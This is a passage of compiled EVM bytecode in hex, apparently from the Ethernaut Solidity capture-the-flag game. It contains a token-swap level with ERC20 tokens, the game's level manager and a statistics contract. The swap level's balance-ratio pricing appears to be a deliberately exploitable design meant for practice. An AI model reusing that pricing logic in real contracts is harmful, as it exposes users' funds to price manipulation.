5207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620008338162000891565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200081f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610ae180620009e283390190565b610e3380620014c383390190565b6001600160a01b038116811462000833575f80fd5b5f602082840312156200093a575f80fd5b8135620009478162000914565b9392505050565b5f806040838503121562000960575f80fd5b82356200096d8162000914565b915060208301356200097f8162000914565b809150509250929050565b5f602082840312156200099b575f80fd5b8151801515811462000947575f80fd5b5f60208284031215620009bc575f80fd5b8151620009478162000914565b5f60208284031215620009da575f80fd5b505191905056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a678061007a5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063bfd7e00d1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b8063bfd7e00d14610138578063cbc7854e14610159578063d21220a71461016c575f80fd5b806356688700116100ad578063566887001461010d578063715018a6146101205780638da5cb5b14610128575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610907565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610907565b61028a565b6100db61030b565b5f546001600160a01b03166100f0565b61014b61014636600461092f565b61031e565b604051908152602001610104565b6100db610167366004610968565b610408565b6001546100f0906001600160a01b031681565b6100db61018d36600461092f565b61044b565b6100db6101a0366004610999565b610733565b61014b6101b3366004610968565b6107c3565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610837565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061030691906109b2565b505050565b610313610837565b61031c5f610890565b565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa158015610362573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038691906109d8565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103ec91906109d8565b6103f690846109ef565b6104009190610a12565b949350505050565b610410610837565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6001546001600160a01b03848116911614801561047557506002546001600160a01b038381169116145b806104a557506002546001600160a01b0384811691161480156104a557506001546001600160a01b038381169116145b6104f65760405162461bcd60e51b815260206004820152600e60248201527f496e76616c696420746f6b656e7300000000000000000000000000000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561053a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055e91906109d8565b10156105ac5760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064016104ed565b5f6105b884848461031e565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af115801561060b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062f91906109b2565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af1158015610693573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b791906109b2565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610708573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072c91906109b2565b5050505050565b61073b610837565b6001600160a01b0381166107b75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104ed565b6107c081610890565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa15801561080a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082e91906109d8565b90505b92915050565b5f546001600160a01b0316331461031c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104ed565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610902575f80fd5b919050565b5f8060408385031215610918575f80fd5b610921836108ec565b946020939093013593505050565b5f805f60608486031215610941575f80fd5b61094a846108ec565b9250610958602085016108ec565b9150604084013590509250925092565b5f8060408385031215610979575f80fd5b610982836108ec565b9150610990602084016108ec565b90509250929050565b5f602082840312156109a9575f80fd5b61082e826108ec565b5f602082840312156109c2575f80fd5b815180151581146109d1575f80fd5b9392505050565b5f602082840312156109e8575f80fd5b5051919050565b808202811582820484141761083157634e487b7160e01b5f52601160045260245ffd5b5f82610a2c57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b57cf9ac90d2bc30df42da4a6d18e47ef75e0abef0fa76269178775c3763545c64736f6c63430008180033608060405234801562000010575f80fd5b5060405162000e3338038062000e3383398101604081905262000033916200023c565b8282600362000043838262000351565b50600462000052828262000351565b5050506200006733826200009160201b60201c565b5050600580546001600160a01b0319166001600160a01b0393909316929092179091555062000443565b6001600160a01b038216620000ec5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620000ff91906200041d565b90915550506001600160a01b0382165f90815260208190526040812080548392906200012d9084906200041d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200019f575f80fd5b81516001600160401b0380821115620001bc57620001bc6200017b565b604051601f8301601f19908116603f01168101908282118183101715620001e757620001e76200017b565b816040528381526020925086602085880101111562000204575f80fd5b5f91505b8382101562000227578582018301518183018401529082019062000208565b5f602085830101528094505050505092915050565b5f805f806080858703121562000250575f80fd5b84516001600160a01b038116811462000267575f80fd5b60208601519094506001600160401b038082111562000284575f80fd5b62000292888389016200018f565b94506040870151915080821115620002a8575f80fd5b50620002b7878288016200018f565b606096909601519497939650505050565b600181811c90821680620002dd57607f821691505b602082108103620002fc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200017657805f5260205f20601f840160051c81016020851015620003295750805b601f840160051c820191505b818110156200034a575f815560010162000335565b5050505050565b81516001600160401b038111156200036d576200036d6200017b565b62000385816200037e8454620002c8565b8462000302565b602080601f831160018114620003bb575f8415620003a35750858301515b5f19600386901b1c1916600185901b17855562000415565b5f85815260208120601f198616915b82811015620003eb57888601518255948401946001909101908401620003ca565b50858210156200040957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200043d57634e487b7160e01b5f52601160045260245ffd5b92915050565b6109e280620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220afef22fd752b83761ebdc5d9105b781bc6a6b1dc6a16170befd4ad86594251b364736f6c63430008180033a2646970667358221220a76b0d7b060548b53dc7f7c2ae20289d815428ea8e136584a9443d1a65f9fbc664736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b